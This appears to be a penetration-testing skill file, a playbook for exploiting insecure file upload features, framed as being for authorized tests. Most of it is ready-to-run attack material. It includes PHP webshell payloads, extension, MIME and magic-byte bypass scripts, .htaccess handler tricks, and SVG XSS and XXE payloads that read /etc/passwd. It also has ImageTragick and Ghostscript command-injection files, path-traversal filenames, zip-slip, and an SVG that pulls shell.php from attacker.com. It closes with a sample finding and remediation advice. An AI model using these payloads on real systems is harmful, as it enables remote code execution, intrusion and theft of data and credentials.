exploiting-file-upload-vulnerabilities

Identifying and exploiting insecure file upload functionality to achieve remote code execution, stored XSS, path traversal, and denial of service during authorized penetration tests.

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Repositorio: xalgord/xalgorix
Última actividad en el origen: 6 de junio de 2026 a las 16:41
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name	exploiting-file-upload-vulnerabilities
description	Identifying and exploiting insecure file upload functionality to achieve remote code execution, stored XSS, path traversal, and denial of service during authorized penetration tests.
domain	cybersecurity
subdomain	web-application-security
tags	["penetration-testing","file-upload","rce","owasp","web-security","webshell"]
version	1.0
author	xalgord
license	Apache-2.0
nist_csf	["PR.PS-01","ID.RA-01","DE.CM-01"]

Exploiting File Upload Vulnerabilities

When to Use

During authorized penetration tests when the application allows users to upload files (avatars, documents, images, attachments)
When testing file processing features (image resizing, document conversion, CSV/XML import)
For assessing applications with rich media upload (profile pictures, galleries, file managers)
When evaluating APIs with multipart form data endpoints
During security assessments of cloud storage integrations (S3 pre-signed URLs, Azure Blob)

Critical: Payload Matrix and Bypasses (checklist-derived)

Extension bypass matrix (PHP/ASP/JSP targets)

shell.php            shell.php5           shell.phtml
shell.pHp            shell.php.jpg        shell.php%00.jpg   # null byte (older PHP/ASP)
shell.php;.jpg       shell.php/           shell.php....      # trailing dots (Windows strips)
shell.asp;.jpg       shell.aspx           shell.jsp
shell.svg            shell.xml            shell.html

Double extension: shell.php.jpg (and reverse shell.jpg.php).
Case toggling: .pHp, .PHP, .Php to dodge case-sensitive blocklists.
Trailing chars (Windows): dots/spaces shell.php., shell.php get trimmed on save and execute.
Path/parser confusion: shell.php;.jpg, shell.php/, shell.php%00.jpg.

Content-Type spoof

# Send a PHP body but declare an image MIME type
Content-Type: image/png      (or image/jpeg, image/gif)
<?php system($_GET["cmd"]); ?>

Magic-byte prefixing (pass content sniffing)

GIF89a<?php system($_GET["cmd"]); ?>            # GIF magic + PHP
\xFF\xD8\xFF\xE0 + <?php ... ?>                  # JPEG magic + PHP
\x89PNG\r\n\x1a\n + <?php ... ?>                 # PNG magic + PHP

Polyglots & handler-enabling uploads

Polyglot files: GIFAR (GIF+JAR), phar-jpg (valid JPEG that is also a PHP phar) — valid image AND executable.
.htaccess (Apache): upload AddType application/x-httpd-php .xyz then upload shell.xyz.
web.config (IIS): upload to enable handler mapping / inline <%...%> execution.

# SVG stored XSS
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"><rect/></svg>

# SVG XXE / SSRF
<!DOCTYPE svg [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<svg><text>&xxe;</text></svg>

# ImageTragick / ImageMagick MVG/MSL (CVE-2016-3714)
fill 'url(https://x"|id > /tmp/pwned")'   # inside an .mvg/.msl uploaded as image

filename=../../../var/www/html/shell.php      # traversal in upload path
filename=..%2f..%2f..%2fshell.php              # URL-encoded
filename=..%252f..%252fshell.php               # double-encoded
zip-slip: archive entry "../../shell.php"      # writes outside extract dir

# Find upload endpoints by crawling
katana -u https://target.example.com -d 3 | grep -iE "upload|file|attach|import|avatar|image|media"

# Common upload endpoints:
# /upload, /api/upload, /api/v1/files, /media/upload
# /profile/avatar, /settings/photo, /documents/import
# /api/attachments, /admin/import, /editor/images

# Test basic upload and observe response
curl -v -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -F "file=@test.txt" \
  "https://target.example.com/api/upload"

# Check what file types are accepted
for ext in php php3 php5 phtml pht phps php7 \
  asp aspx ashx asmx svc \
  jsp jspx jsw jsv \
  py pl rb cgi sh \
  svg html htm xml \
  pdf docx xlsx csv; do
  echo "test" > "test.$ext"
  echo -n "$ext -> "
  curl -s -o /dev/null -w "%{http_code}" \
    -H "Authorization: Bearer $TOKEN" \
    -F "file=@test.$ext" \
    "https://target.example.com/api/upload"
  echo
  rm -f "test.$ext"
done

# === EXTENSION BYPASS TECHNIQUES ===

# Double extension
cp shell.php shell.php.jpg
curl -F "file=@shell.php.jpg" "$UPLOAD_URL"

# Null byte injection (older PHP/ASP)
cp shell.php "shell.php%00.jpg"
curl -F "file=@shell.php%00.jpg" "$UPLOAD_URL"

# Case manipulation
cp shell.php shell.pHp
cp shell.php shell.PHP
cp shell.php shell.Php
for f in shell.pHp shell.PHP shell.Php; do
  echo -n "$f -> "
  curl -s -o /dev/null -w "%{http_code}" -F "file=@$f" "$UPLOAD_URL"
  echo
done

# Alternative PHP extensions
for ext in php3 php4 php5 php7 phtml pht phps phar; do
  cp shell.php "shell.$ext"
  echo -n "$ext -> "
  curl -s -o /dev/null -w "%{http_code}" -F "file=@shell.$ext" "$UPLOAD_URL"
  echo
done

# Trailing characters
cp shell.php "shell.php."
cp shell.php "shell.php "
cp shell.php "shell.php::$DATA"  # Windows NTFS ADS

# Content-Type bypass (change MIME while keeping .php)
curl -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -F "file=@shell.php;type=image/jpeg" \
  "$UPLOAD_URL"

# .htaccess upload (Apache) — make .xyz execute as PHP
echo "AddType application/x-httpd-php .xyz" > .htaccess
curl -F "file=@.htaccess" "$UPLOAD_URL"
echo '<?php system($_GET["cmd"]); ?>' > shell.xyz
curl -F "file=@shell.xyz" "$UPLOAD_URL"

# === MAGIC BYTE INJECTION ===

# Create PHP shell with JPEG magic bytes (FFD8FF)
printf '\xFF\xD8\xFF\xE0' > polyglot.php.jpg
echo '<?php system($_GET["cmd"]); ?>' >> polyglot.php.jpg
curl -F "file=@polyglot.php.jpg;type=image/jpeg" "$UPLOAD_URL"

# Create PHP shell with PNG magic bytes (89504E47)
printf '\x89\x50\x4E\x47\x0D\x0A\x1A\x0A' > polyglot.php.png
echo '<?php system($_GET["cmd"]); ?>' >> polyglot.php.png

# Create PHP shell with GIF magic bytes (GIF89a)
echo -n 'GIF89a' > polyglot.php.gif
echo '<?php system($_GET["cmd"]); ?>' >> polyglot.php.gif
curl -F "file=@polyglot.php.gif;type=image/gif" "$UPLOAD_URL"

# Inject PHP into EXIF data of real image
exiftool -Comment='<?php system($_GET["cmd"]); ?>' legit-image.jpg
mv legit-image.jpg shell.php.jpg
curl -F "file=@shell.php.jpg" "$UPLOAD_URL"

# SVG with embedded XSS (Stored XSS via upload)
cat > xss.svg << 'EOF'
<?xml version="1.0" standalone="no"?>
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.cookie)">
  <rect width="100" height="100"/>
</svg>
EOF
curl -F "file=@xss.svg;type=image/svg+xml" "$UPLOAD_URL"

# SVG with SSRF via XXE
cat > xxe.svg << 'EOF'
<?xml version="1.0"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
  <text>&xxe;</text>
</svg>
EOF
curl -F "file=@xxe.svg;type=image/svg+xml" "$UPLOAD_URL"

# Path traversal in filename header
curl -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -F "file=@shell.php;filename=../../../var/www/html/shell.php" \
  "$UPLOAD_URL"

# URL-encoded traversal
curl -X POST \
  -F "file=@shell.php;filename=..%2F..%2F..%2Fshell.php" \
  "$UPLOAD_URL"

# Double URL-encoded
curl -X POST \
  -F "file=@shell.php;filename=..%252F..%252F..%252Fshell.php" \
  "$UPLOAD_URL"

# Backslash variant (Windows servers)
curl -X POST \
  -F "file=@shell.php;filename=..\\..\\..\\inetpub\\wwwroot\\shell.aspx" \
  "$UPLOAD_URL"

# Overwrite critical files
curl -X POST \
  -F "file=@malicious.htaccess;filename=.htaccess" \
  "$UPLOAD_URL"

# ImageTragick (CVE-2016-3714)
cat > exploit.mvg << 'EOF'
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|id > /tmp/pwned")'
pop graphic-context
EOF
curl -F "file=@exploit.mvg;filename=exploit.jpg" "$UPLOAD_URL"

# ImageMagick SVG shell
cat > exploit.svg << 'EOF'
<image>
  <read filename="ephemeral:/tmp/test"/>
  <write filename="/tmp/shell.php"/>
  <svg xmlns="http://www.w3.org/2000/svg">
    <image href="https://attacker.com/shell.php" />
  </svg>
</image>
EOF

# Ghostscript exploitation (PDF/EPS processing)
cat > exploit.eps << 'EOF'
%!PS
userdict /setpagedevice undef
save
legal
{ null restore } stopped { pop } if
{ legal } stopped { pop } if
restore
mark /OutputFile (%pipe%id) currentdevice putdeviceprops
EOF
curl -F "file=@exploit.eps;filename=document.eps" "$UPLOAD_URL"

# Zip Slip (archive extraction traversal)
# Create a zip with path traversal entries
python3 -c "
import zipfile, io
z = zipfile.ZipFile('zipslip.zip', 'w')
z.writestr('../../../tmp/evil.txt', 'pwned')
z.close()
"
curl -F "file=@zipslip.zip" "$UPLOAD_URL"

# Common upload directories to check
for dir in /uploads /media /images /files /attachments \
  /static/uploads /assets/uploads /content/images \
  /wp-content/uploads /user/files; do
  echo -n "$dir/shell.php -> "
  curl -s -o /dev/null -w "%{http_code}" \
    "https://target.example.com${dir}/shell.php"
  echo
done

# If upload returns file URL, test direct execution
UPLOAD_URL=$(curl -s -F "file=@shell.php.jpg" "$UPLOAD_URL" | jq -r '.url // .path // .file_url')
echo "Uploaded to: $UPLOAD_URL"
curl -s "https://target.example.com${UPLOAD_URL}?cmd=id"

# Test if uploaded file is served with correct content type
curl -sI "https://target.example.com/uploads/shell.php" | grep -i content-type
# If content-type is text/html or application/x-httpd-php → code will execute

# Minimal PHP webshell for proof-of-concept (READ-ONLY commands only)
echo '<?php echo shell_exec("id && hostname && cat /etc/hostname"); ?>' > poc.php

Concept	Description
Unrestricted File Upload	Application accepts any file without validation — direct RCE risk
Extension Blocklist	Server blocks known dangerous extensions but can be bypassed with alternatives
MIME Type Validation	Checking Content-Type header only — easily spoofed by the client
Magic Byte Validation	Checking file header bytes — bypassed with polyglot files
Polyglot File	A file that is valid in multiple formats simultaneously (e.g., valid JPEG + valid PHP)
Path Traversal Upload	Writing files outside the intended upload directory via filename manipulation
ImageTragick	CVE-2016-3714 — ImageMagick command injection via crafted image files
Zip Slip	Archive extraction vulnerability allowing file writes outside the target directory
Race Condition Upload	File is briefly accessible before server-side validation deletes it

Tool	Purpose
Burp Suite	Intercept and modify upload requests, change Content-Type and filename
exiftool	Inject payloads into image EXIF metadata
Weevely	Generate obfuscated PHP webshells that evade signature detection
phpggc	PHP deserialization gadget chain generator for upload+deserialize chains
fuxploider	Automated file upload vulnerability scanner
upload-scanner (Burp extension)	Automated upload bypass testing within Burp Suite

## File Upload Vulnerability Finding

**Vulnerability**: Unrestricted File Upload → Remote Code Execution
**Severity**: Critical (CVSS 9.8)
**Location**: POST /api/profile/avatar - `file` parameter
**OWASP Category**: A04:2021 - Insecure Design

### Reproduction Steps
1. Create polyglot PHP/JPEG: printf '\xFF\xD8\xFF\xE0' > shell.php.jpg && echo '<?php system("id"); ?>' >> shell.php.jpg
2. Upload via POST /api/profile/avatar with Content-Type: image/jpeg
3. Server returns upload path: /uploads/avatars/shell.php.jpg
4. Access https://target.example.com/uploads/avatars/shell.php.jpg → PHP executes
5. Command output: uid=33(www-data) gid=33(www-data)

### Impact
- Full remote code execution as www-data user
- Read access to application source code and configuration
- Database credential extraction from config files
- Potential lateral movement to internal services

### Recommendation
1. Validate file content using magic bytes AND re-encode images (strip metadata)
2. Use allowlist for file extensions (not blocklist)
3. Store uploads outside the web root with randomized non-guessable filenames
4. Serve uploads from a separate domain/CDN with no-execute headers
5. Set Content-Disposition: attachment for all uploaded files
6. Implement Content-Security-Policy to prevent inline script execution from SVG